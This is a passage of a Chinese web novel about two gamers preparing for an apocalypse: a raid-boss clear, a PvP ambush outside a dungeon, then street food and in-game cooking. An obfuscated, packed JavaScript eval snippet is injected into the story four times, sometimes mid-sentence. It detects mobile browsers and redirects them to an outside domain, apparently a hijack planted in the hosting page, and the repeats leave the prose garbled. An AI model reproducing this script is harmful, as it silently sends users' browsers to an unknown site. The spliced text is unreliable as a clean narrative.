堕落神父的防御，生命，攻击，各方面素质都无愧于大Boss的称呼，可惜在陆燃的手下连个技能都放不出来，看得玩家都有些可怜这个Boss了。 “……惨惨的” “谁能想到最终Boss比前一个还好打” “这全都仰赖了大佬的聪明才智与无双操作” “大佬，我以后就跟你混了，你以后要打什么本喊我呀” “……你小子，连吃带拿是吧？” “……” 一群人调侃归调侃，服气也是真的服气了。 谁不知道高难本最终Boss什么难度？ [秘识之厅的堕落神父]这个本的难度是出了名的，一开始官方说给Boss配备了高级ai的时候，玩家们还非常不屑一顾——能有多高级？ 真打起来就给跪了——高级！真的很高级！ 光一条神父不完全按仇恨攻击就让各个团想跪下了…… 一个正常的Boss，打起来只要T稳住仇恨，奶妈拉住T血线，其他人及时躲过大范围群攻就行，随机点名技能虽然也不算少见，但也不可能一直随机下去吧！ 而这个Boss，它有大量时间是随机仇恨啊……哦不是，不是随机，是专挑队伍薄弱处下手，比如奶妈，比如高dps的输出，确实有够高智能的。 而且它的预判准得吓人，放技能的位置也刁钻得够呛，奶妈和输出自觉想闪的时候，却经常闪进了它的技能范围内，气得玩家直向客服投诉——你们是不是给Boss开挂了，是不是Boss的技能范围不是提前选，而是读条完直接看玩家在哪就放哪的啊？ 客服非常礼貌地回复：没有这种事哦，我们的游戏设计师是非常有节操的哦。 所以这个Boss上线后简直折磨了不知道多少开荒团。 那段时间论坛一片哀声载道——呼吁设计师以后别设计这么智能的Boss了，他们平时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373210|168215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说副本太简单太无聊了真的只是随口说说的！我们传统点！传统店好吗？！传统点的Boss就很好！ 而就他们这些人拉起来的队伍，就算正经有T有奶，基本也就是个开荒团的配置。 毕竟这里除了[三重纽带]以外，其他人穿的基本都是一身上版本的装备，身上只有一两件两三件过渡装那种。 正常打，死个五六遍，拉脱个五六遍，然后最后十来个小时磨过去纯属正常，这还是得指挥靠谱的情况下。 但现在，这个Boss所有的难点，在他们团面前都跟不存在一样，因为它再智能，也得发挥得出来才行，燃风佬显然没给它这个机会。 于是原本高难的Boss在他们团面前反而比初始Boss更简单了…… 虽然血条高，要打很久，但是只要燃风不失误，他们其他人就跟在划水摸鱼一样没差别的…… 一个多小时后，Boss轰然倒地，队伍频道一片“燃风佬威武！”。 陆燃上前摸宝箱。 嗯？ 虽然没出顶晶，但运气不错，居然出了做上衣装备的主要材料。 这也算是这个本第二难出，玩家们刷得第二烦的材料了。 他往队伍频道一贴。 这种材料一般都是拍卖的，然后拍卖的金币全团其他人平分，算“工资”，他作为团长要“昧”下来也需要提前说一声。 “我去，恭喜大佬！” “我去，大佬好欧！” [燃风]：“这个我需要” “您拿您拿，还有其他人配拿不成？” 众玩家甚至连工资都懒得要，没有陆燃这个本就不可能过，他们混点其他装备和材料就已经满足了。 但虽然他们不要工资，却有人一定要给他们发。 [三重纽带]：“[红包]” “我去，真不用工资，我是真的觉得能进这次本就已经赚大了，以后就跟别人吹我进过无T无奶的高难团！” “是啊是啊……” [三重纽带]：“当成红包就行，沾喜气” “也不能让你们白进一趟本” 于是队伍频道立刻换了个画风： “好的土豪，任您吩咐” “好的土豪，您说啥就是啥” 陆燃回头问江朗：“你是希望他们拿这些钱去提升账号？” 江朗：“嗯！能提升一点是一点嘛！” 虽然这些人在《神域》所有玩家群体里算装备技能等级都很齐全的了，进末世之后短期内都不太可能会遭遇有威胁的污染物。 但谁知道会遇上什么小概率情况，比如他刚进末世的那一年就遇上了一连串的高级污染物，让他无数次想回到末世前给自己地背包里装满道具和卷轴和红蓝药…… 反正他希望这些玩家也尽可能多充分准备一点吧。 众玩家乐呵呵地分了红包和剩下的普通装备与小材料。 “我的天也太顺利了……才过去两个多小时，这就完了？” “我也，我都点好外卖准备奋战一晚上了” “这下不知道晚上该玩什么了” “燃风佬再见，三重佬再见” [三重纽带]：“等等” 那原本要退队离开副本的玩家停下了自己的鼠标。 [三重纽带]：“相逢即是缘，有个内部消息要告诉大家” “什么什么？” “竖起耳朵” 本来正依依不舍地准备退队的众玩家瞬间都停了下来，支起了耳朵，顺便开始猜测起了是什么内部消息： “我听说下个版本要出新职业了，是真的吗？据说爆炸强” “我听说的是要出新的装备体系，野外Boss掉落的那个没用材料以后就是重要装备材料了，是真的吗？是真的话我立刻去囤起来” 众玩家开始绞尽脑汁回忆自己听过的谣言，试图分辨出哪个是真消息，然后他们就看见了三重纽带的下一句话： [三重纽带]：“马上就要末世了，但是《神域》账号能跟进末世里，所以趁这段时间抓紧练号吧！” “……啊？” “啊？？？” 队伍频道里一片困惑的问号。 “？？？这话怎么有点眼熟？这不是今天论坛那个帖子吗？” “哈哈哈哈哈哈哈哈佬真会开玩笑，好的好的，一定练号” “哈哈哈哈哈，好的好的，大佬不愧是大佬，开玩笑也这么有意思，两位佬再见！” 陆燃忍不住笑了下：“你这样说没人信的。” 江朗不在意地挥了挥手：“没事，万一有人听进去了呢。” “走吧走吧，回个主城。” 陆燃走到副本出口，选择了离开。 一出副本，他目光一凛。 一大堆花花绿绿技能正从他屏幕上方落下，他直接一个前冲，避过了这密密麻麻的技能。 选择埋伏他们的人大概觉得自己占据天时地利人和，躲都不带躲一下的，直接大大咧咧毫无站位地站在副本门口。 于是陆燃直接冲进了他们的人群中。 9. 第 9 章 陆燃毫不犹豫地冲进了对面的人群中。 对面大概没想到他反应这么快，他们这一大堆埋伏技能居然没一个打到他，所以愣了一秒。 那一秒有些人还在朝副本门口陆燃原本站的地方放技能，有些眼神不好没看清他往哪窜了，还在四处旋转视角找人，有些倒是看清他往他们这边窜了进来，但是反应有点慢，光是转视角过来就转了一秒。 而这一秒够陆燃放[精神链接]了。 众追杀玩家放技能的放到一半，转视角的转到一半，就发现自己动弹不得了：“……” 帮主在YY频道“我草”了一声，然后开始正经指挥了起来：“都交解控，然后朝四处散开！” “燃风已经用了精神链接，剩下的技能都没那么大范围，只要散开就行。” 帮众们其实也早就想到了这个思路，他话音未落，该交解控的人都早就交了。 但是他们正打算“四散”，就发现自己又被控了。 “……” “不是，他有病啊？哪个织灵者精神链接秒接别的技能的？？” 陆燃如果能隔着网线听到这人的话，大概会认真解答：“因为你们肯定会秒解啊，骗到解控了不接技能做什么？” 他又不是其他控制技能只有两三个所以对精神链接的时间抠抠索索的织灵者。 总之，这些人还没来得及动弹一下，就发现自己又被控住了，少数几个站得太边缘的边缘人士，或者跑路速度比较快的帮众，才成功免过一劫。 于是该帮会的YY频道里又是一句帮主的“我草！”。 成功脱逃的几位一边在内心嘲笑自己的同伙，一边自得——呵呵，这个吹上天的燃风也不过如此嘛，听说他还从来没被人杀过，看来他们今天可以出名了。 但是他们没有发现，陆燃的走位非常“阴”，他每次都是踩着这些人的技能范围边缘走位，“勾引”着他们朝他希望他们去的方向去了。 哪怕明知不该离那些被控住的人太近，但是就这么一点点距离就能打中燃风送他上路的诱惑，还是让这些人忍不住朝不该去的方向动了起来。 于是，下一秒。 “……” “我草！不是你们有病吧？自己送上来给燃风控？！” 帮主在YY频道里怒骂，他属于最初就没逃脱的人之一，所以清清楚楚地看清了燃风是怎么勾引着这群蠢蛋重新送上门来给他控的，气得他一顿怒骂。 那几个被骂的人虽然也知道自己犯蠢了，但也忍不住在心里吐槽——不是，我们至少逃过了呢，帮主你一个一开始就被控住了的人也好意思骂我们蠢…… 他们这边打得热闹，躺副本门口的人这边也一直很热闹。 “我草这些什么人啊？我一出来就被劈头盖脸一顿揍” “晕死，副本前蹲人，有没有素质啊这些人？” “什么素质，我靠！” “……” 江朗先于陆燃出副本，在副本门口蹲他的这些人一看见他，就直接开始洗地式攻击，所以陆燃出来的时候，地上已经躺了一片——江朗，还有好几个被误伤的刚刚一起打本的玩家。 出来就被一顿狂揍，是人肯定都有脾气，瞬间附近频道就冒出了一堆骂街字符。 不过骂归骂，大多数人倒是不敢真的点复活然后和对面硬刚。 对面一看就是有备而来，人多且肯定有指挥，起来也就是送菜而已。 而且《神域》的死亡惩罚很重，掉级都是次要的，主要是会掉装备掉材料，他们现在不起来就还不会掉，复活了就要结算死亡惩罚了，那会儿要是掉个什么东西，估计都来不及捡起来就又死了。 万一掉点什么重要装备，真是哭都没地儿哭去，所以大部分人面对路边突如其来的攻击都是直接躺下然后等对面走了再起来捡自己的掉落物的。 这个死亡掉落机制也是江朗基本不和人结仇但还是经常被追杀的理由之一——他的装备太好了，都是他花了大心思大价钱做的，总有人自己懒得花钱花精力，就想直接抢别人的用。 不过这种情况不算多，秘术师作为一个读条时间巨长的PVP劣势职业，玩家爱玩PVP的很少。 否则江朗就真的可以等着被天天追杀了。 而玩家们破口大骂这些堵人的“没素质”的原因，其实倒不是他们偷袭，而是因为他们选择的这个埋伏地点——副本本身就是复活点，死了就算选了在复活点复活，也是原地复活的效果。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373211|168215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 所以在副本门口堵人是属于PVP中比较恶毒的那种玩家才会做出来的事，因为这就意味着对方想要直接把人轮白，或者轮到对方弃号下线为止。 [三重纽带]：“不好意思不好意思……可能是来追杀我的人，我没什么印象这些人是谁了” 江朗躺在地上道歉。 他看了圈这些埋伏者的ID，实在没什么印象，毕竟他上次登游戏严格来说已经是十年前了。 但是估计就是冲他来的，其他人属于被他连累了。 “晕，三重佬你还真的和传说中一样走到哪被追杀到哪啊……” [三重纽带]：“哈哈，好像是的” “不行，我跟他们拼了，有病啊！我就拼着今天被轮白也要出这一口恶气！” [三重纽带]：“我去，你别急，你躺着就行，[燃风]能搞定的，他杀完了你再起，别待会儿装备被人捡走了” 江朗这么一说，躺在地上骂街的其他玩家才意识到——我去，队伍里燃风这个ID确实没灭！ 仔细一看，燃风佬已经冲进对面的人群中了。 有人略带担忧地发言：“但是他们人好多啊，燃风佬一个人真的OK吗？我们不用起来帮忙吗？” [三重纽带]：“这点人还不够他切菜的” “我去，真的假的，我以为燃风佬只是1v1无敌” [三重纽带]：“真的啊，织灵者不是大多数技能都是范围技能吗，我以为你们知道” “呃，好像是哦……但是人真的太多了吧，双拳难敌四手啊，我们真的不用去帮他吗？” [三重纽带]：“很多吗？不会啊，以前他就打过好几次这么多人的团战，他说很轻松的，而且你们起来帮忙的话容易乱他技能链，所以还是躺着比较好” “哦哦哦……那我不添乱了” “我去，这居然都不算人多吗？以前[火之哀伤]发帖的时候，还有人撺掇他用人海技能来着” [三重纽带]：“哦那个啊，你们以为他没用过吗？他后来带了一群人来过啊，然后也没占到什么便宜，所以他才说不玩了，不过可能他觉得不好意思吧，好像是没别人知道” “我草！！！居然是这样！！！” 10. 第 10 章 [三重纽带]：“你们要是想报仇的话可以等这些人死了之后再复活” 江朗发言中暗含（明含？）的对燃风的信心彻底镇住了众玩家，他们挪了挪视角，虽然躺在地上真是不方便观战，但是勉强还是能看见战况的。 燃风那头，转眼间所有人都在控制之下了。 “我了个……我怎么感觉这些人是傻子，就聚一块让大佬打” [三重纽带]：“估计是觉得差一点点就能打到他然后就忍不住照着他的安排走位了吧，燃风很擅长这样的打法的” “原来如此原来如此，我学，我学，我猛猛学！” 江朗在这边给人解说陆燃的操作，众玩家听得津津有味，主打一个虚心受教，躺得非常安然。 另一头追杀众的氛围就没那么好了。 九秒啊！整整九秒！动都不能动一下！跟个傻子一样被打。 而且燃风居然是真的一个伤害技能都没点，除了两个自带伤害的控制技能稍微下了他们点血线之后，其他时间，就拿普攻硬刮他们。 屈辱……太屈辱了！ 怪不得以前被他杀的人都要上论坛发好多个帖子骂他！ 那边的三重纽带在干嘛？不能复活起来给他们个痛快吗？ ——开玩笑的，最好三重纽带别反应过来，快了，应该马上就要到燃风的技能真空期了，他们身上的debuff已经换了好几个了，应该马上就到他最后一个控制技能了。 然后……就轮到他们了！ 三……二……一！ 啊啊啊啊反击！他们要反击！ 嗯？人呢？ “我草！他用了遮蔽！” 织灵者的逃跑神技——[遮蔽]：欺骗对手的感官，无法被看到，无法被听到。 持续时长：30s或持续到你攻击其他目标或被其他目标攻击为止。 一大群人骂骂咧咧地开始洗地式攻击，试图把他找出来，丝毫没有意识到—— 他们错过了最后的逃跑机会。 如果此时他们选择四散逃开，即便是陆燃也没法将他们全部留下，但是他们此时还没将自己必输这件事刻进大脑里，一心只想着要反击。 那么就很可惜了。 过了几秒，陆燃取消了[遮蔽]技能，出现在了他们眼中。 “找到他了！快打！” 他们没注意到，燃风是主动取消的遮蔽，而不是他们打掉了他的遮蔽。 又一个控制技能落下。 “妈的，他技能转好了，直接解控！别给他下个技能转好的机会！”——帮主给出重要指示。 这个思路乍一看确实没问题，反正燃风的控制技能多到这种程度，那么什么时候给解控都一样了，当然要趁着他遮蔽还有其他技能没有转好CD的时候快点解控，赶紧把他抓住打下血来。 但是他们忘记了，燃风的[精神链接]是最早放的，而现在它的CD也转好了。 看见自己和同伙身上转起了银色丝线的追杀众： “……” “……” “……” 有那么一瞬间，他们觉得自己很幽默。 蠢得很幽默。 尤其是看见这次燃风没有在[精神链接]后接任何技能断掉这个该死的debuff，而是像任何一个正常织灵者一个操作起了他们队伍中装备最好的那个秘术师，走了两步并且开始大招读条之后。 哈哈。 而不远处原本一直躺着的[三重纽带]也直接选择了复活。 和他们队伍里被控的那个秘术师前后脚落下了两个湮灭之环。 全灭。 地上躺着的其他玩家愣了一下，也在江朗的指示下陆陆续续复活。 “哦豁！是不是轮到我们堵他们了？” “还真是，谁让他们选副本门口堵人的，简直自作孽不可活！” 自作孽不可活这个词儿用得非常精准。 因为现在轮到对面一复活起来就劈头盖脸一堆技能下来了。 没过多久，他们就直接躺在地上不动了——废话！再复活装备都要掉没了！ 等级也要回笼到不知道哪里去了！ “大佬，我录屏了，我能上传到论坛去吗？” 又是刚刚那个录屏哥，不过这次没等江朗补充，他就自觉道：“视频网站也发个然后链接发您是吧？” [三重纽带]：“嗯嗯嗯！”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373212|168215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > [燃风]：“……” “大佬，我们堵这些人堵多久啊？把他们轮白？还是说就轮到他们下线为止？” [燃风]：“他们不起来了就走吧，该吃饭了” 江朗看见陆燃打出吃饭两个字，瞬间觉得自己肚子咕噜咕噜叫了起来，于是赞同道： [三重纽带]：“嗯嗯，燃风说的对，吃饭要紧” 其他玩家纷纷：？？？ “这样不就相当于放过他们了吗？” “吃饭哪有把这群傻逼杀到下线要紧！！” “难道现在不该点个外卖，然后直接在这里蹲着吗？要是现在走人，他们不就可以复活跑回城了吗？” 江朗叹了口气：“唉，你们不懂，吃饭真的是最重要的。” 众玩家：“……” 他们实在不懂这俩人对吃饭的重视，但也只能接受： “那大佬你们再等等，我问问我列表有没有闲着的，我找几个人来” “那我也问问” “我也我也” “……” 虽然他们的列表里没有像燃风这样以一敌众，一个人就能包围对方一群人，并让他们现在死得根本不敢复活起来的超神大佬，但是以多欺少这种事他们还是会做的，多喊点人过来，也总是能做到围殴效果的。 甚至有个人直接世界频道发言和论坛发帖，讲了下前因后果，问有没有以前被这些人打过的，或者有没有仇家之类的，赶紧来痛打落水狗啊！ 别说，虽然这帮人喊人打副本是喊不到几个人，但是他们的列表一听说是对面是试图副本门口轮人不成反被轮的，立刻起了兴趣，这种痛打落水狗，还是站在道德制高点痛打落水狗的事爱做的人可太多了。 而那个负责在论坛发帖喊人的哥们，很快也发现——我去，这个帮会仇人还真不少，也正常，爱在副本门口轮人的怎么可能是什么安分守己的帮会，仇人肯定是论打数的啊！ 于是陆燃和江朗等了没多久，就看见浩浩荡荡一群人过来了。 地面上躺着的追杀众：“……” 密密麻麻一群人把他们围了起来之后，陆燃和江朗淡定地走出了人群，回城下线，然后……出门吃饭！ 11. 第 11 章 “麻辣烫！好！” “烤冷面！好！” “螺蛳粉！好！” “花甲粉！好！” “辣子鸡！好！” 陆燃带着江朗来了他们学校外面的美食一条街，江朗看一家招牌，就“好！”一声，恨不得一家一家吃过去。 但是在末世呆了十年的他非常有不能浪费食物的意识，如果每一家都点了他和陆燃两个人肯定吃不完，那就是浪费啊…… 浪费食物就是作孽啊…… 于是江朗拧着他那还算称得上潇洒英俊的面容在街中央陷入了狠狠的纠结之中……这可怎么办呢？放弃任何一样美食都让他觉得心在滴血啊！ 等了十分钟都没等到他做决定的陆燃不耐烦了，“江朗刚从末世回来要对他好点”的耐心彻底消耗殆尽，直接替他做了决定： “吃辣子鸡，这家做得不错，然后带两份烤冷面回去当夜宵，晚上你要是还饿可以出来买花甲粉，这个摊子开到很晚。” “好好好。” 江朗听完这个安排感觉口水已经要流下来了，咽了口口水跟着陆燃走进了这家辣子鸡店。 不愧是陆燃精选，江朗在等了半小时终于等到一锅辣子鸡上桌之后只尝了一口就差点流下了感动的泪水，并且深深地觉得这半个小时的等待太值得了。 “呜呜呜呜呜……太好吃了……呜呜呜呜……” 陆燃就伴着这样的背景音吃完了一整顿，然后拉着江朗一起去烤冷面的摊子前排队。 现在正是下午最后一节课结束和晚上第一节课开始之间的时间段，丧尸群一般的觅食大学生从教学楼蜂拥而出，从后门冲出来或者说挤出来，没有固定店面的小摊贩要把握这一天内客流量最好的时刻，手上的动作快到几乎要出残影，铁板和油一起谱写出让人食指大动的乐曲，配以闻着就美味到不健康的味道，江朗看着这过于日常的一幕，不禁出了神。 他的眼前好像又出现了那些拔地而起的巨型变异植物，而面前这些学生在他眼中也变成了尸体或污染物或相较而言好运一些但依旧一脸崩溃的变异者。 他逐渐分不清现实与回忆，直到陆燃的身边在他耳旁响起： “你已经做了你能做的了，万一有人信了呢？” 江朗的双眼逐渐回到了聚焦清晰的状态，他点点头：“嗯，万一呢。” 他转过身，朝陆燃露出一个爽朗的笑容。 正巧，摊主刚好做完了一份烤冷面，陆燃接过来递给江朗。 江朗也顾不着烫，直接当场咬了一口： “啊……就是这个地沟油味！爽！” 摊主猛地抬头：“谁用地沟油了？你不要污蔑人！我用的正经油好吗？！” 摊主一脸“你怎么凭空污人清白”，江朗连忙摆手：“没没没……我不是这个意思……我的意思是，就是这种一块铁板反复炒很多次，这个地沟油的意思……” 摊主还是很生气，炒完陆燃那份烤冷面就让他们赶紧滚了。 江朗滴汗：“在末世呆了太久，感觉语言技能已经下线。” 陆燃：“还行吧。” 两个人一人端着一碗烤冷面往回走，江朗嗖嗖地就吃完了他那份，完全忘记了这本来应该是带回去当夜宵吃的，然后他突然想起了一件非常重要的事： “你生活技能学了吗？” 陆燃摇摇头：“没有，那是什么？” 江朗立刻说：“主城的餐馆可以接任务刷大厨的好感度，好感度开启之后可以学烹饪技能，然后后续接着刷好感，每一级都可以领新菜谱，我回来之后第一反应就是，这一世一定得把烹饪技能开了然后多做点菜带进末世里。” “我……呃，这叫什么，上一周目的时候没学烹饪，然后红药蓝药攻击药什么的都是囤的药剂类，也没有食物类。” “然后我后来遇到别的玩家，就看见那种囤了一堆食物类小药的，给我羡慕坏了……前期各个基地都还没建立起来，能吃上热乎菜的，除了靠烧柴和捡的锅都能烧菜的厨神，应该就只有这些人了……” “后期更完蛋，到十年后，末世前剩的煤气什么的基本没了，做菜又只能靠烧柴了，条件太艰苦，大多数人都没那个用柴也能调控火候的实力，反正就……挺难吃的，除了少数有大厨的基地，大家都还是以吃方便面和其他方便食物为主。” “反正我这一次一定要做一堆菜放背包里啊可恶！” 陆燃觉得江朗的提议很有道理，背包系统应该相当于一个时间停滞的空间，最该拿来存放的就是会变质需保温的食物。 他和江朗之后肯定会去买一些物资，但是末世来临前背包这个空间和现实无法重叠，末世来了之后按照江朗的说法他们倒是可以随便往里面装东西了，但是那时候也没什么可以往里装的热乎食物了。 趁现在多在游戏里做点菜简直太合理了。 江朗猛地一拍手，他又想起一件事： “到时候我们多买几个冰柜，买99个冰柜，因为末世里的背包系统是这么运作的，你把一听可乐放进去，是占一个格子，显示可乐x1，那一个格子就顶多能塞99瓶可乐，但是如果我们先把可乐和别的东西通通塞进冰柜，然后再把冰柜放进背包里，显示的就是冰柜x1，这样就能多放好多好多吃的！” 陆燃闻言陷入了沉思：“那如果我们直接买集装箱，然后再把冰柜放进集装箱里呢？” 江朗目瞪口呆：“我靠，还是你敢想。” 他们在这边大聊特聊集装箱装冰柜的可能性的时候，游戏论坛上正热火朝天。 “震惊！无奶无T也能过高难本？” “天道好轮回！有人副本门口轮人不成反被轮！一人包围几十人！” 这个录屏哥非常会取震惊体标题，两条UC体标题往论坛上一发，瞬间引来了大量围观人员。 “我草，我还以为是标题党，居然有视频有真相” “我去，这个思路好牛逼，有没有这么点技能的织灵者陪我下高难本试试啊？” “想玩你自己去练个织灵者小号啊，谁家织灵者会这么点技能” “看得我手痒，好想试试” “别瞎手痒，这看着简单，实际上不好操作的” “看着简单？？？哪里看着简单了，这明明看着就很难” “咦？好眼熟的ID，那个传说中的织灵者？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373213|168215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“还真是！我就说这个点技能的方式怎么有点眼熟” “半年没见这个ID有动静了吧，忘了也很正常” 高难本这边视频下面的评论比较和谐，基本都是惊叹好骚的思路和好牛逼的操作的。 毕竟高难本的难度众所周知，大部分人也都自己试过。 另一边就不是很和谐了。 “哦豁，这个是那个吹得很玄乎的织灵者是吧？以前光听人吹了，终于可以看下操作了” “……emmmm，我怎么觉得比起这个织灵者很牛逼，更多的可能是这群人太蠢了呢？” “我靠真的一群傻逼吧，解控拿去解心灵震荡是什么脑残？谁不知道解控技能要捏着等织灵者放精神链接啊” “不是这群人，演的吧？怎么都聚成一团给他打，服了，感觉是一群演员来拍视频吹这个织灵者的” “演的，鉴定完毕” 陆燃的操作过于行云流水，导致视频里看起来就是一群人往他技能范围里撞，假得让人无语，视频下面瞬间多了好几页开喷的。 “我说他以前的战绩不会也是这么搞出来的吧？我就说别信论坛里造的神了” 直到有人刻薄地指出—— “幽默，坛友的游戏理解也就这样了。” “你们可以自己代入被打的那方想想，是，所有人都知道织灵者有精神链接这个bug级技能，所以解控技能一定要捏好，对面不出精神链接就硬吃一两个控，反正时长都不长” “但是这个燃风很会利用其他人的思维惯性” “他上来就是一个精神链接，这个操作是很不常规的，常规的织灵者肯定会先放一个其他技能骗解控” “这些人看见织灵者放了精神链接，肯定就直接交了解控，结果后面发现被连控十来秒，这谁受得了啊，肯定就会觉得最初的那个精神链接才是来骗解控的，毕竟精神链接期间没法攻击，一攻击就相当于自断技能” “而这也让他们忽视了一点，就是对方的精神链接和他们的解控技能都比平时进CD提前了很久” “在第二轮攻击开始时，他们自然而然会以为，对方的技能侧重点和普通织灵者不一样，他更依赖其他技能组成的连控链而非精神链接这一织灵者的核心技能” “那么这时候如果你是在场被攻击的人，你会怎么想？肯定是觉得必须抢时间断掉他的技能链，否则就又是一次十来秒的连控” “他们就是这样落入了织灵者的思维陷阱” “当然事后复盘肯定会觉得这个思路很蠢，但是在战斗的时候，思考的时间就只有那么一会儿，人的下意识反应都是趋利避害，很难跳脱出这个织灵者给他们设下的陷阱也是正常的” “……” “我去，好有道理，代入被攻击的那一方的话，瞬间觉得他们的举动都很合理啊……” “至于聚在一起被这个织灵者打这个看起来简直像演的的举动，看一下织灵者每次的走位不就知道了吗？你是杀他的人会能忍得住不追？” “还真是！好勾引！” “服气了” 与此同时，录屏哥终于把视频传上了视频网站并通过了审核。 12. 第 12 章 陆燃和江朗回到陆燃那个小公寓的时候，本来打算带回来的吃的烤冷面已经早在路上吃完了。 江朗虽然很想在路上再买点夜宵带回来，但是被陆燃制止了—— “等你晚上饿了再出来买，现在买回去我怕你直接撑死。” 江朗不得不承认陆燃说得很有道理，他原本不是那种自制力很差的人，但是架不住在末世呆了十年啊！ 这一回来看见一大堆喷香的食物……这……这他怎么忍得住…… 于是他心痛地将视线从路边的小摊上移开，努力目不斜视地走了回来。 好在回来可以看游戏里的食物解馋。 陆燃登上游戏，朝江朗所说的主城饭店走去，还真有个大厨头顶上有任务。 他按照任务描述给大厨捞了五条鱼之后成功开启了大厨的好感。 “勤劳的年轻人啊，你很有天赋也很虚心，也许我也到了该收个学徒的时候了……你愿意跟着我学习烹饪这门正在逐渐失传的手艺吗？” 点下“愿意”之后，陆燃拿到了他的第一份食谱—— [母皇称赞过的卡卡兽汤]。 这是最基础的加血食物，每份只能加100血，游戏里还好，就是点一下的事，要是在现实战斗里拿出一碗汤咕嘟咕嘟喝完，才加100点血，还不够喝汤的时间被打掉的血量，就比较幽默了。 但是，虽然效果不咋地，但这汤看着就挺好喝的，陆燃转头问江朗：“这汤好喝吗？” 江朗探头过来，然后猛猛点头：“好喝！特别好喝！” 他缓缓露出了一个回忆的表情，然后伸手擦了擦不存在的口水：“卡卡兽的肉质有点像鳜鱼吧，特别滑特别嫩，而且很肥，然后味道又自带一点甜味，又鲜又甜的，这个汤里的配菜也很好吃，特别脆那种口感，感觉像长成菜样子的冬笋，我也不知道系统还往里面加了什么调料，总之特别好吃，而且闻起来巨香，就算我当时没有特别饿应该也会巨香那种香！” “我帮人做了一个超级难的任务才换到这么一碗汤……真的香死我了！” 江朗的词汇量非常匮乏，但是他的表情就够说明这汤有多好喝了，陆燃立刻去拍卖行收了这汤所需要的各种原材料各一百份，然后开始刷烹饪技能。 他旁边江朗基本也是一个行动路线，而且江朗盯着屏幕的样子，显然是能从游戏这小小的图标里看出这汤出现在现实后的模样和气味的，简直就差爬进屏幕里一饱口福了。 江朗紧紧盯着屏幕，然后期期艾艾地转向了陆燃： “要不……我们现在去买花甲粉吧。” 陆燃冷酷无情地拒绝了他：“不行，你吃太多了，先消化一会儿，当心明天进医院。” 江朗：“其实我觉得我已经消化好了……” 他的声音在陆燃的注视下越来越小，然后自觉地重新将目光移向了屏幕。 陆燃也就收回了他冷酷的视线。 他们今天是真的没少吃，那家辣子鸡店其实一锅是四到五人份的，江朗和陆燃虽然饭量一直都不小但是两个人分吃这么一锅也已经有点撑了，去买烤冷面的时候，陆燃考虑到江朗已经快十年没吃过这些垃圾食品了，他那份就什么配料都要了一份，他现在再敢吃花甲粉，估计都不用到明天，晚上就能吐一顿然后去医院。 “咦？这个人已经上传视频了吗？” 江朗这时候才看见他私信里的消息。 “动作好快啊。” 他一边说一边点进了视频链接里。 没推流的视频看上去凄凄惨惨的，播放量都只有两位数。 江朗立刻给这俩视频整了个推广，虽然可能没法红——他们《神域》自带流量锁不是开玩笑的……但是多点人看，这些人里没准有能被吸引来玩游戏的呢？！ 江朗非常乐观，他觉得陆燃的操作这么赏心悦目，肯定会有看得手痒的人的。 他搞完推广，然后回头看陆燃：“你下个礼拜的团约好了吗？” 陆燃：“在聊。” 他从刚刚开始，就在找下礼拜的团，虽然自己打也不是不行，但是太累了，没有直接包团省心。 聊了几个团长之后，他选了个价格正常，团里的人装备看起来不错，以及论坛评价也挺好的团，就这个吧—— “好嘞老板，普通包团还是全包还是单包顶晶？” “全包。” “好嘞！那是一千哦” “好的。” “图纸本也全包吗？” “是的。” “那就是总共一千八哦，定金10%” 陆燃付了定金之后，加了下这个团长，就算解决了下周的一桩心事。 他顺便又去了趟拍卖行，看看下午被他清了一遍的拍卖行有没有上新新宝石。 有那么一些，全买走。 然后他转头跟江朗说：“趁现在去刷卷轴和遗物？” 卷轴和遗物是《神域》里的道具，算是独立于装备与技能以外的另一套战力体系吧。 除了难刷难出买起来贵以外，卷轴和遗物基本没有任何缺点，CD稳定1s，比大部分技能CD都要短得多，没有等级和职业限制，任何等级的玩家都能使用，经常有类似于某萌新走路上被无良PVP玩家一顿摩擦，结果该萌新转头化身人民币战士，斥巨资买高价卷轴和遗物杀回去的爽文桥段出现在论坛上。 